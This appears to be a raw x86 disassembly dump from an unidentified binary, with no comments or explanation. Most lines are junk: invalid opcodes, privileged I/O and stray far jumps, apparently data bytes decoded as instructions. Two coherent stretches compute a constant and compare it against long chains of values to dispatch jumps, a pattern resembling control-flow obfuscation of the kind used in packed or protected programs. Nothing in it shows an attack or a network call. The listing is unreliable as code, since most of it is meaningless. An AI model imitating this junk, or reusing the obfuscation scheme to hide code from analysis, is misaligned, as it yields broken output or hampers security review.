imul eax, dword [eax - 0x7eceaf00], 0xffffffd0
and byte [eax - 0x268ba890], al
xor al, 0xf4
mov eax, edx
lodsd eax, dword [esi]
pop esp
pop ecx
enter 0x11f2, 0x67
neg edi
sub eax, 0xa90d7891
or eax, 0x7cd72c98
push edi
salc
sahf
xchg edi, eax
jbe 0x67ba4fda
jmp 0x67ba4fc3
dec edi
retf
nop
int3
push 0x2eb547e0
aam 0x2d
dec byte [eax + 0xacd5d6a]
and eax, 0x88e2c043
out 0xb5, al
invalid
cmpsd dword [esi], dword es:[edi]
jle 0x67ba5bbc
invalid
push es
in al, dx
hlt
xor eax, 0xdbb5b51e
push 0x7ce4314c
cli
outsb dx, byte [esi]
mov bh, 0x9f
rol dword [ecx], cl
sbb byte [edi - 0x12], dh
push esp
lodsd eax, dword [esi]
pop ds
mov ah, 0x2e
sub byte [ebx - 0x6d38f1d5], cl
mov edx, 0xc45221f6
and eax, 0xae3aabe7
push ecx
pop ebp
imul ebp, dword [ebx - 0x2c9b50b2], 0xd47019a
cdq
mov ebp, 0xac03d4d0
daa
test dword [ecx + 0x69857ad9], edi
or dword [edi - 0x47336f72], edi
xchg esi, eax
fdiv qword [ebx]
leave
or dword [ebx], ebx
jge 0x67ba5b9e
dec ebx
jmp 0xe9aff7f2
rol byte [ebx + edi*2], 1
and dword [edx], esp
inc esp
psadbw mm4, qword [si + 0x43cb]
add eax, edx
push es
sbb dword [edi], ecx
dec ebp
arpl word [edx - 0x352d9d6a], bp
cmp eax, 0x55006d8f
in eax, 0x98
fdiv dword [edx - 0x65f858c7]
dec esi
or ch, dh
fstp dword [ebx + 0x158f04ee]
loop 0x67ba6153
retf
lcall 0xee9b, 0xd9f5084e
add al, 0x8f
adc eax, 0x984257e2
inc edx
cwde
lds ecx, [edi + 0x120c8611]
cmp ecx, dword [ebx - 0x3a]
les ecx, [edx + 0x42]
adc bh, byte [ebx]
dec ebx
mov ah, 0x4a
inc edx
aam 0x92
pop ds
add eax, 0x5c29bbe3
lock sub byte [eax + 0x1d66e9cc], dl
add byte [eax], al
sub ebp, dword [edx - 0x74ad7117]
clc
jge 0x67ba60d6
rcl dword [edx], 0x22
cdq
fisttp dword [esi + 0x48]
xchg ebp, eax
jnp 0x67ba60cc
fistp word [esi]
sti
xchg esp, eax
xchg esi, eax
inc ecx
jae 0x67ba6103
imul ecx, dword [esp + eax*4], 0xfffffff3
jns 0x67ba60cf
inc edi
cmp al, 0x52
popfd
scasb al, byte es:[edi]
sti
js 0x67ba60f0
out 0x25, al
cmpsb byte [esi], byte es:[edi]
mov esi, 0x43310284
cld
scasd eax, dword es:[edi]
jnp 0x67ba60d2
and al, 0x71
and eax, esi
bound eax, qword [edi - 0x66]
invalid
invalid
sub cl, byte [ebp - 0x2716b77b]
sbb ch, byte [ebp - 0x64]
or bh, byte [esi + 0x7942db7c]
enter 0xffffffffffffb6a3, 0xffffffffffffff9d
invalid
pop edx
cmp edi, dword [ebx + 0x37fb6c9e]
add byte [edi], ah
jge 0x67ba6d0d
and dword [ebp - 0x645ab4d2], ebp
outsd dx, dword [esi]
push ds
lodsb al, byte [esi]
mov dh, 0x75
xchg esp, eax
sub ebp, dword [edx - 0x43]
int1
push ebp
pop eax
or al, 0x6a
push esp
jg 0x67ba6cfc
sbb ch, dh
mov ss, word [ebx]
sbb dh, al
mov es, word [ecx]
jns 0x67ba6d78
ret
invalid
outsb dx, byte [esi]
inc edx
retf 0xe8fe
hlt
sbb cl, dl
and al, 0xeb
lodsd eax, dword [esi]
popal
push eax
call 0xf949dfe4
fistp dword [edx + 0x71b0f148]
cld
push ds
inc esi
les ebx, [esp + ebx*4 - 0x6178837]
test byte [ebx], bl
int 1
add dword [0x85eab1e3], edi
mov dword [0x51fb8a68], eax
sub dword fs:[edx + 0x5386b912], 0x57
aam 0x2d
scasb al, byte es:[edi]
inc edx
unpckhps xmm6, xmmword [eax - 0x18]
xor al, 0x18
push edx
jl 0x67ba78b4
mov bh, 0x7b
je 0x67ba7902
and bh, byte [esi + 0x382b7182]
sbb dword [0x1c035a37], esi
sub bl, byte [ecx]
xchg esp, eax
pop esp
invalid
int3
nop
jmp 0x67ba7e81
nop
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x138], 0xc6a5e
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x140], 0x14d7e
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 0x134]
sub eax, dword [ebp - 0x140]
sbb edx, dword [ebp - 0x13c]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x148]
xor eax, 0xf4170
or eax, dword [ebp - 0x144]
je 0x67bab7b8
mov edx, 0xf4170
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xf1cd1
or eax, dword [ebp - 0x144]
je 0x67baf282
mov edx, 0xf1cd1
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xf06c9
or eax, dword [ebp - 0x144]
je 0x67ba8e91
mov edx, 0xf06c9
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xd5dee
or eax, dword [ebp - 0x144]
je 0x67bae6c0
mov edx, 0xd5dee
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xc4fa3
or eax, dword [ebp - 0x144]
je 0x67bac37a
mov edx, 0xc4fa3
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xc22a5
or eax, dword [ebp - 0x144]
je 0x67ba9472
mov edx, 0xc22a5
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xc060b
or eax, dword [ebp - 0x144]
je 0x67baeca1
mov edx, 0xc060b
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xb513d
or eax, dword [ebp - 0x144]
je 0x67ba9a53
mov edx, 0xb513d
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xb1ce0
or eax, dword [ebp - 0x144]
je 0x67baf863
mov edx, 0xb1ce0
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xa4d0a
or eax, dword [ebp - 0x144]
je 0x67baa615
mov edx, 0xa4d0a
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0xa23a9
or eax, dword [ebp - 0x144]
je 0x67babd99
mov edx, 0xa23a9
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x79eb4
or eax, dword [ebp - 0x144]
je 0x67bacf3c
mov edx, 0x79eb4
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x6c35c
or eax, dword [ebp - 0x144]
je 0x67bac95b
mov edx, 0x6c35c
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x65c66
or eax, dword [ebp - 0x144]
je 0x67bab1d7
mov edx, 0x65c66
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x64e09
or eax, dword [ebp - 0x144]
je 0x67baabf6
mov edx, 0x64e09
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x54185
or eax, dword [ebp - 0x144]
je 0x67ba88b0
mov edx, 0x54185
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x37929
or eax, dword [ebp - 0x144]
je 0x67badafe
mov edx, 0x37929
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x24525
or eax, dword [ebp - 0x144]
je 0x67baa034
mov edx, 0x24525
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x1ccad
or eax, dword [ebp - 0x144]
je 0x67bad51d
mov edx, 0x1ccad
mov eax, 0
cmp edx, dword [ebp - 0x148]
sbb eax, dword [ebp - 0x144]
jl 0x67baf860
mov eax, dword [ebp - 0x148]
xor eax, 0x16159
or eax, dword [ebp - 0x144]
je 0x67ba82cf
mov eax, dword [ebp - 0x148]
xor eax, 0x167ab
or eax, dword [ebp - 0x144]
je 0x67bae0df
jmp 0x67baf860
rcr dword [ecx + 0x69da83d], cl
nop
cmpsb byte [esi], byte es:[edi]
xchg ecx, eax
ljmp 0x9ac1
cmp eax, 0xcfab7adb
iretd
jnp 0x67ba8efb
aas
and dword [edx], esi
adc cl, byte [ebx + 0x3f]
add byte [edx], dh
invalid
sbb byte [ebp - 0x41], bl
and esi, dword [esi + 0x25]
cmp eax, 0x32078274
mov ebp, dword [eax + 0x48]
jb 0x67ba8f3f
sbb edx, ebp
popfd
mov edi, 0x5094794c
invalid
cld
popal
adc eax, 0xcc497d5e
mov bh, 0xd3
dec eax
push cs
xchg edi, eax
clc
movsd dword es:[edi], dword [esi]
push ebp
and byte [ebx], dh
or eax, 0xf2237f69
adc al, 0xb1
nop
int3
mov fs, eax
xchg ch, bl
xor byte [0x3d7088c9], 0x2d
sal dword [eax], 1
sbb al, 0x2a
or eax, 0x9938a4d5
pop es
push edx
into
cmp dword [edi], ebp
stosd dword es:[edi], eax
mov eax, 0x52567270
retf
lodsd eax, dword [esi]
pop edi
in al, dx
test byte [ebx + 0x17d34724], ch
adc ecx, esp
out 0x2d, al
sbb bl, byte [edi]
sbb eax, 0x1e2e9872
stosd dword es:[edi], eax
push esp
shl dword [ecx + 0x61], cl
invalid
mov cl, 0x1c
fucompi st(6)
mov bh, 0xc
sub eax, 0x474fa83a
dec ebx
pushal
mov word [ebx - 9], es
xchg esp, eax
scasd eax, dword es:[edi]
das
invalid
add ah, byte [eax - 0x2e]
jno 0x67ba9f6a
and cl, 0xca
inc eax
push 0xffffffffffffffb8
mov dl, 0xdc
push 0x13d728a0
cmp ebx, dword [edx + 0x3e]
xchg esp, eax
mov eax, 0xa068dcb2
sub bh, dl
adc edi, dword [ebx]
pop edx
xchg esp, eax
stosd dword es:[edi], eax
ror byte [eax + ebx*4 - 0x7a882b2b], 1
cli
sal byte [esi + edi*8], 1
sub eax, dword [ecx + 0x4d]
sbb dword [edx + 0x61], ebx
mov cs, esp
sti
insd dword es:[edi], dx
idiv byte [esi + 0x61]
test byte [ecx - 0x4b], bh
rol cl, 0xcd
pop esp
mov ch, byte [esp + ebx*2]
invalid
dec esp
pop ss
push 0xffffffffffffffa2
mov eax, dword [0x61dcc7e2]
lodsb al, byte [esi]
sub dword [esp + esi*2 + 0x3f], esi
shr dword [eax + 0x28], 0x6e
pop eax
fdivr st(3)
xlatb
and eax, 0xfa2b5127
cmp al, byte [ecx]
push cs
pop eax
loopne 0x67ba9fe3
or ah, byte [eax + ebx*2]
and al, 0x58
jle 0x67ba9fed
fld dword [edx]
jne 0x67baa0ac
jp 0x67baa056
adc eax, 0x23469782
cmp edx, edx
push esp
leave
cli
mov edi, 0x72968b2a
imul esp, dword [ecx + 0x4e], 0x24
std
mov ecx, dword [edx + 0xe2adb72]
and al, 0x8a
and dl, al
sub bl, ah
sub al, byte [edx - 0x1d]
aaa
fcom st(0)
ja 0x67baa00f
ret
leave
push cs
jle 0x67baa0c1
test eax, 0xb117bdf8
inc edi
pop ss
mov cl, 0x47
cmp al, 0x63
add al, 0x95
or byte [esi + 0xf], dh
xor bh, ch
nop
scasb al, byte es:[edi]
jge 0x67baa0f9
jecxz 0x67baa10c
and esp, esi
xchg edi, eax
jmp 0x67baa0b3
sbb eax, 0x1655cc90
add dl, 0x32
push eax
jmp 0x67baa15d
lodsd eax, dword [esi]
xor eax, 0x2759a998
xlatb
xchg esi, eax
inc edx
sub byte es:[ecx - 0x42c5ff07], ch
push esi
scasd eax, dword es:[edi]
movsd dword es:[edi], dword [esi]
mov byte [0x292f1a98], al
sahf
cmp al, 0x57
ljmp 0xec42
cli
mov dl, 0x4b
vaddps ymm6, ymm2, ymm1
shl dword [edi], 0x7d
sbb bh, byte [edx + ebx]
cmpsb byte [esi], byte es:[edi]
arpl word [edi + 0x678bc477], cx
sahf
push ss
dec ecx
jno 0x67baa1cd
sub dword [edx + 0x15cc90c4], eax
test eax, 0xaf95c185
les edx, [eax + 0x3e6415cc]
test eax, 0xaf95c185
sub byte [ebp + 0x15ae56e], ah
jne 0x67baa141
inc esp
jge 0x67baa11e
dec ecx
or eax, 0x15357e2f
or eax, 0x6f39c06f
add al, 0xaa
out 0x56, al
push 0x27
retf
popal
inc esi
in al, dx
pushal
stosd dword es:[edi], eax
pop ds
jg 0x67baa209
dec ebx
add eax, 0x3a5b9b77
and eax, 0xd0885375
fist dword [edx]
mov al, byte [0x65bd83b0]
bound edx, qword [ebx - 0x14f17bf8]
insd dword es:[edi], dx
push ebp
dec esp
or byte [ebp - 0x13], bh
insb byte es:[edi], dx
push 0xffffffffffffffa7
mov al, 0xed
mov edx, ebx
cdq
int1
aad 0xea
xor al, 0x13
and eax, 0xcc90c9e0
int 0xb3
mov eax, 0x90da6423
loope 0x67baa1e3
arpl word [ebx], dx
jne 0x67baa18b
mov cs, word [0x3366364]
mov edx, esi
cmpsb byte [esi], byte es:[edi]
pop es
lahf
xchg edx, eax
outsb dx, byte [esi]
int 0xab
enter 0xffffffffffff9b6f, 0xffffffffffffff83
fbstp tbyte [eax]
sbb edi, 0x30
jge 0x67baa1da
xchg ecx, eax
cmp bh, byte [ecx + 0x6cf7cf7]
mov byte [0xc23bac01], al
pop ebx
mov ebx, dword [esi + ebp]
out dx, eax
shl dword [ecx], cl
out dx, eax
lcall 0xc680, 0x3ea455b8
xchg ecx, eax
push ebx
movsd dword es:[edi], dword [esi]
sbb esp, dword [ecx - 0x31]
sbb al, 0x21
cmp eax, 0x4628210b
or eax, 0xefd78dc2
sal al, 1
xchg edi, eax
jnp 0x67baa20e
sub byte [esi + 0xd], al
ret 0xd78d
xlatb
cli
mov dl, ah
adc eax, 0x46f96886
pop ss
sbb dword [eax - 0x2f0f2734], edx
ljmp 0x42ea
adc eax, 0xabb3b1
outsd dx, dword [esi]
xchg bx, ax
push esi
fnsave dword [ecx]
xchg edi, eax
pop ebp
aas
mov bl, 0xb5
adc eax, 0x210546ae
or byte [ebp + 0x426848fc], bl
push esi
in eax, 0xce
ror byte [edx - 0x59], 0x2b
and al, 0x44
movsd dword es:[edi], dword [esi]
xchg edx, eax
std
push cs
jge 0x67baa6b4
cmp eax, 0x1fe90fc0
fdivr dword [edx + 0x36f17ab7]
xlatb
insd dword es:[edi], dx
lodsb al, byte [esi]
xor byte [edx], dl
xor ch, byte [ebp + 0x7f9ff588]
mov dl, 0xd0
pop esi
mov edx, cs
int 0xd7
dec eax
arpl word [ebx], bp
pushal
rol cl, 0xfd
dec edx
cmp ah, byte [ecx - 0x64ec9065]
int3
cld
test al, 0x1a
and eax, 0xd80d3f48
mov bh, 0x42
xchg ebx, eax
sub al, 0x4e
mov dl, 0xb9
sbb dword [esi + 0x12], 0xffffffed
imul esp, dword [ebx - 0x2a], 0x2a
xchg edi, eax
cmpsd dword [esi], dword es:[edi]
sub ebp, dword [ebx - 0x77]
adc al, 0xd2
xchg dword [edi], esp
std
mov ah, 0xfc
in al, dx
mov word [ecx - 0x70], ds
int3
arpl word [ebp - 0x68e2dd93], si
cmp byte [edx - 0x5a9f1005], al
invalid
out 0xba, eax
invalid
add ch, byte [ecx + 0x44]
adc esp, ebp
adc edi, dword [ebp - 0x224f8dbd]
push cs
sar eax, cl
dec edi
mov byte [0x28dffbf7], ah
cmpsb byte [esi], byte es:[edi]
pushfd
mov ecx, 0xa0d603a3
pushal
mov esp, 0x48a91c69
cmp eax, 0x15e47627
dec ebx
test dword [ebp + eax*2 - 0xc], esp
in al, 0x98
push esi
insd dword es:[edi], dx
add dword [ebp - 0x70], esp
pop eax
dec eax
inc esp
jbe 0x67bab869
movsd dword es:[edi], dword [esi]
sbb byte [esp + ebp*2 - 0x23], cl
pop ds
push ebx
or eax, 0x79c15290
and dword [ebx], 0x20
into
nop
push edx
sar dword [ecx - 0x7d], 0x23
and dh, cl
dec edx
and cl, cl
add byte [eax - 0x279809f2], 8
add ah, ch
aam 0x29
mov ebp, 0x51088fb9
jno 0x67bab7f9
mov bh, 0xdd
xchg edx, eax
sub byte [eax + 0x2dd4d4cc], dl
pushal
sbb eax, 0xe19c3d11
hlt
or dword [edx + 0x4620650d], ecx
daa
invalid
sub al, dl
pop edi
sti
push ebp
invalid
and al, byte [esi]
wait
cmpsd dword [esi], dword es:[edi]
nop
int3
push edx
cmp eax, 0x4f587feb
jo 0x67bac30b
loopne 0x67bac3cb
bound edx, qword [eax + edx*8 - 0x1a75d891]
xchg esp, eax
shr byte [edi + 0x27], 1
mov ah, ch
sal dword [ebp - 0x73], 1
mov al, 0x88
mov dh, 0x59
int 0x29
stosd dword es:[edi], eax
push ecx
xchg dword [ebp + 0x62], edi
nop
int3
push 2
jl 0x67bac353
xor al, 0x1b
and eax, 0xe0bd8f78
xchg byte [esi], bl
xor ebx, dword [esp + 0xb]
or dword [eax], edx
neg byte [ebx + 0x78]
in al, dx
fadd dword [esi + ebx*8 + 0x1d]
int1
or ebx, dword [edx - 0x54]
jnp 0x67bac35f
push es
dec eax
cmp eax, 0x2cdad322
dec ebp
xor al, 0x31
int1
aad 0x32
insb byte es:[edi], dx
xchg dh, bl
pop eax
mov bl, byte [edi]
sbb al, 0xd4
cmp al, 0x2e
and ch, ch
fild dword [esi - 0x41]
rol byte [ecx - 0xe], cl
xlatb
push ebx
nop
out 0x78, al
das
jns 0x67bac413
push ss
jno 0x67bac425
inc edx
sbb esi, eax
pop esp
das
dec ecx
call 0x4a6af50c
cwde
loop 0x67bac36a
push ds
mov esi, 0x60153d1d
lodsb al, byte [esi]
sub ah, byte [edi + 0x7e]
nop
int3
jmp 0x67bac3d0
add byte [ebp - 0x55], ah
fisttp qword [ebp - 0x1a4ae1c4]
xchg ecx, eax
push ss
xchg esp, eax
movsb byte es:[edi], byte [esi]
push ss
push ds
mov dh, 0x76
jl 0x67bac3ab
test dword [esi - 0x49], ebx
salc
pop esi
mov bh, 0xd6
push ebx
fnstsw word [eax + 0x2aa8e714]
ja 0x67bac488
lcall 0x25f3, 0x4d359400
jle 0x67bac48b
enter 0x1c36, 0xe
lea edx, [eax - 0x74ddf134]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
mov eax, dword [0x486ccabd]
nop
dec edx
sahf
push edx
out dx, al
add byte [edi + 0x2b1e6772], 7
mov word [edx + ecx - 0x1d], ss
js 0x67bac472
mov edx, 0x23b12de4
in al, 1
adc byte [ecx], 0x7d
pop ecx
jb 0x67bac40e
mov al, 0xba
imul ecx, esi, 0x4b
mov byte [0x60732f5a], al
das
jae 0x67bac4d5
sub al, 0x47
sub cl, byte [eax]
and eax, 0x3a9f4b7d
stosb byte es:[edi], al
daa
aad 0x5f
popfd
call 0x1c1ed912
jle 0x67bac4ed
xchg esi, eax
cmp eax, 0xc1fa9d1f
mov gs, word [esi]
push esp
pushal
in al, dx
in al, 0x55
cmp dh, byte [edx + 9]
xchg ebp, eax
imul ebx, esi, 0x1a0f305f
aam 0x10
ficom dword [eax - 0x5f566b34]
dec esp
or edx, dword [edi]
sub eax, dword [esi - 0x555f2992]
jmp 0x67bac479
or dword [ebp + 0x305fde69], edx
invalid
mov byte [0xbd2611d6], al
sub edx, ecx
mov al, 0xf8
int3
sub eax, dword [ebx + 0x5f]
sbb byte [edi - 0x68], dl
xor byte [ebp*8 - 0x48203dc5], bh
xchg al, cl
sbb bl, byte [eax - 0x18]
cmp dh, byte [edi]
jb 0x67bac499
invalid
jg 0x67bac4b8
rol esi, cl
out dx, eax
push 0xffffffffffffffbf
test eax, 0xf4f7cec8
stc
popfd
mov dword [0x15198378], eax
lds eax, [edx]
dec eax
lodsd eax, dword [esi]
pop edx
or edi, 0xffffff90
int3
aam 0xf9
imul ecx, ecx, 0xd67b84a3
mov bh, 0x30
aas
pop es
sbb ch, byte [ebp + 0x60c929fe]
xchg ecx, eax
aas
bound ebx, qword [ebx + 0x70749179]
scasd eax, dword es:[edi]
push es
xor byte [ecx], dh
sub eax, 0x90aa7b7e
int3
lodsb al, byte [esi]
add esp, dword [ebx]
dec edx
test byte [eax + 0x5e], cl
mov al, byte [0xcf1f872f]
stosb byte es:[edi], al
das
inc esi
inc edx
or eax, 0x53d62203
js 0x67bac932
and esp, 0xa80ffaa9
retf
hlt
xor al, 0x58
cmc
xor byte [ebx], bh
push ebx
push ecx
test ecx, ecx
jmp 0x919dfb17
test dword [eax], esp
inc ebp
pop es
std
mov bh, 0xde
adc byte [ebp + 0x7d582414], dl
nop
invalid
out dx, eax
ret 0xdca7
enter 0xfffffffffffff9b2, 0x2d
clc
sub al, 0x4b
and byte [ebp - 0x5fb7b1bb], dl
fstp xword [ebp - 0x99628fd]
nop
mov edx, fs
inc edx
or cl, byte [eax]
jmp 0x67bae0a7
popfd
invalid
shr byte [edi], 0xf9
mov al, 0x6a
pushal
salc
pop ecx
inc ebp
lodsd eax, dword [esi]
pop es
les esi, es:[eax + 0x6e001b8d]
invalid
jl 0x67baf250
xchg ebx, eax
mov edx, 0x9b1f869
mov cl, 0x53
test byte [ebx - 0x5f], al
jne 0x67baf268
ljmp 0xdffc:0xb84600d2
rol byte [eax], cl
inc esi
mov eax, 0x204bdffc
mov esi, 0x38d22888
fmul dword [ebp + 0x2d]
cmp ecx, dword [ecx + 0xc4a9936]
push edx
and eax, 0x9bb1a0aa
push 0x75154e6e
xlatb
xchg edx, eax
retf 0x9de6
stosb byte es:[edi], al
mov al, byte [0x6e689bb1]
dec esi
adc eax, 0xca92d775
out 0x9d, al
cmc
pushfd
mov byte [edx], ah
push 0xe2e9cc90
add eax, 0x29c40000
les ebp, [ecx]
sbb eax, 0x69c6f654
imul edx, dword [edx + 0x26], 0x7157439f
and byte [edi + 0x7f], bl
jno 0x67baf2d5
inc edi
xchg byte [edi - 0x756cd678], cl
add byte [ebx], bl
lahf
mov dl, 0x17
add ch, ah
xlatb
popal
scasb al, byte es:[edi]
jl 0x67baf2cc
xor eax, 0x8383f592
sbb al, 0xed
in eax, dx
xor ebp, dword [ebp - 0x40]
and eax, dword [edi - 0x76]
dec ebp
jb 0x67baf306
pushfd
jbe 0x67baf242
dec ebx
pop ss
lodsd eax, dword [esi]
js 0x67baf240
push 0xffffffffffffffea
inc ebx
invalid
int1
pop ecx
insb byte es:[edi], dx
dec ecx
sub dword [ecx], ebp
and dword [eax], ecx
pop esi
or byte [esi - 0x6e], bl
xchg edx, eax
adc al, 0xf5
jnp 0x67baf2ae
inc ebp
pushal
mov al, 0x25
adc al, 0xb7
xor ch, dh
nop
int3
fld st(1)
nop
in eax, 0x4a
xchg ebx, eax
jge 0x67baf2d3
dec eax
out dx, al
mov eax, 0x55fb3c13
aam 0x4b
and al, 0xaf
adc ah, byte [edx - 0x36]
insd dword es:[edi], dx
add eax, 0x89ca3402
std
shl byte [eax - 0x32], cl
inc edi
invalid
nop
jmp 0x67baf864
nop
mov word [ebp - 0xa], 0
jmp 0x67bb9802
mov dword [ebp - 0x168], 0xc94e0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x170], 0x7ce26
mov dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x168]
mov edx, dword [ebp - 0x164]
sub eax, dword [ebp - 0x170]
sbb edx, dword [ebp - 0x16c]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], edx
mov eax, dword [ebp - 0x178]
xor eax, 0xc5067
or eax, dword [ebp - 0x174]
je 0x67bb41de
mov edx, 0xc5067
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0xad4e1
or eax, dword [ebp - 0x174]
je 0x67bb3bfd
mov edx, 0xad4e1
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0xa4b3b
or eax, dword [ebp - 0x174]
je 0x67bb0714
mov edx, 0xa4b3b
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0xa3d92
or eax, dword [ebp - 0x174]
je 0x67bafb52
mov edx, 0xa3d92
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0xa111a
or eax, dword [ebp - 0x174]
je 0x67bb2a5a
mov edx, 0xa111a
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x88d68
or eax, dword [ebp - 0x174]
je 0x67bb2479
mov edx, 0x88d68
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x7c4bd
or eax, dword [ebp - 0x174]
je 0x67bb0cf5
mov edx, 0x7c4bd
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x72683
or eax, dword [ebp - 0x174]
je 0x67bb18b7
mov edx, 0x72683
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x6db0d
or eax, dword [ebp - 0x174]
je 0x67bb303b
mov edx, 0x6db0d
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x51d6b
or eax, dword [ebp - 0x174]
je 0x67bb1e98
mov edx, 0x51d6b
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x4c6ba
or eax, dword [ebp - 0x174]
je 0x67bb47bf
mov edx, 0x4c6ba
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0xd718
or eax, dword [ebp - 0x174]
je 0x67bb12d6
mov edx, 0xd718
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67bb47bc
mov eax, dword [ebp - 0x178]
xor eax, 0x52c
or eax, dword [ebp - 0x174]
je 0x67bb0133
mov eax, dword [ebp - 0x178]
xor eax, 0x7f86
add byte [eax], al
or eax, dword [ebp - 0x174]
je 0x67bb361c
jmp 0x67bb47bc
jo 0x67bafb75
outsb dx, byte [esi]
inc ebx
mov cl, 0x49
lahf
and edi, 0x56
mov ch, 0xc2
xchg esi, eax
mov edi, 0x3fe22060
inc edx
mov word [ecx], ss
mov dword [0x9105c861], eax
add dword [ebp - 0x37], esp
sbb cl, byte [edx + 0x39]
div edi
fisttp word [eax + 0x5e2b19db]
mov bl, bl
sbb dword [ebx], ebp
pop esi
push ebp
cmc
in al, 0xdb
mov esi, 0x5d6fbcbb
jle 0x67bafbc8
popal
sal byte [esi + 0x55], 1
popfd
jp 0x67bafb3f
nop
sub al, 0xb5
das
movsd dword es:[edi], dword [esi]
mov eax, dword [0x586c7a35]
adc bh, ch
int3
and dword [esi], edx
add byte cs:[edx + 0x74ace010], ch
jg 0x67bafc39
mov esp, 0x148a3adf
fstp qword [esi + 0x6e]
and ah, 0x48
xor ah, byte [eax + 0x63]
ret
popfd
inc esi
in al, 0x6c
iretd
invalid
or dword [esp - 0x73], esp
fdivr st(6), st(0)
lahf
aaa
xchg edi, eax
stc
lds edx, [eax]
sub byte ss:[esi - 0x5d0fec07], ah
adc al, 0xc1
mov ebp, 0xf399c1f1
movsb byte es:[edi], byte [esi]
mov esp, 0x12ccbcb6
les ebx, [esi + ebp*2 + 0xf]
mov dl, byte [ebx - 0x75]
sahf
cmc
sub eax, 0x3612bc84
push ebp
dec ecx
adc eax, 0xc5e3b13b
sbb al, 0xd0
add byte [0x3c6c1fcc], ch
mov edx, 0x1eb1fab9
sub byte [ecx - 0x7d], bh
loope 0x67bb07a2
test dl, 0x1d
fistp word [ecx]
invalid
mov dl, 0xa6
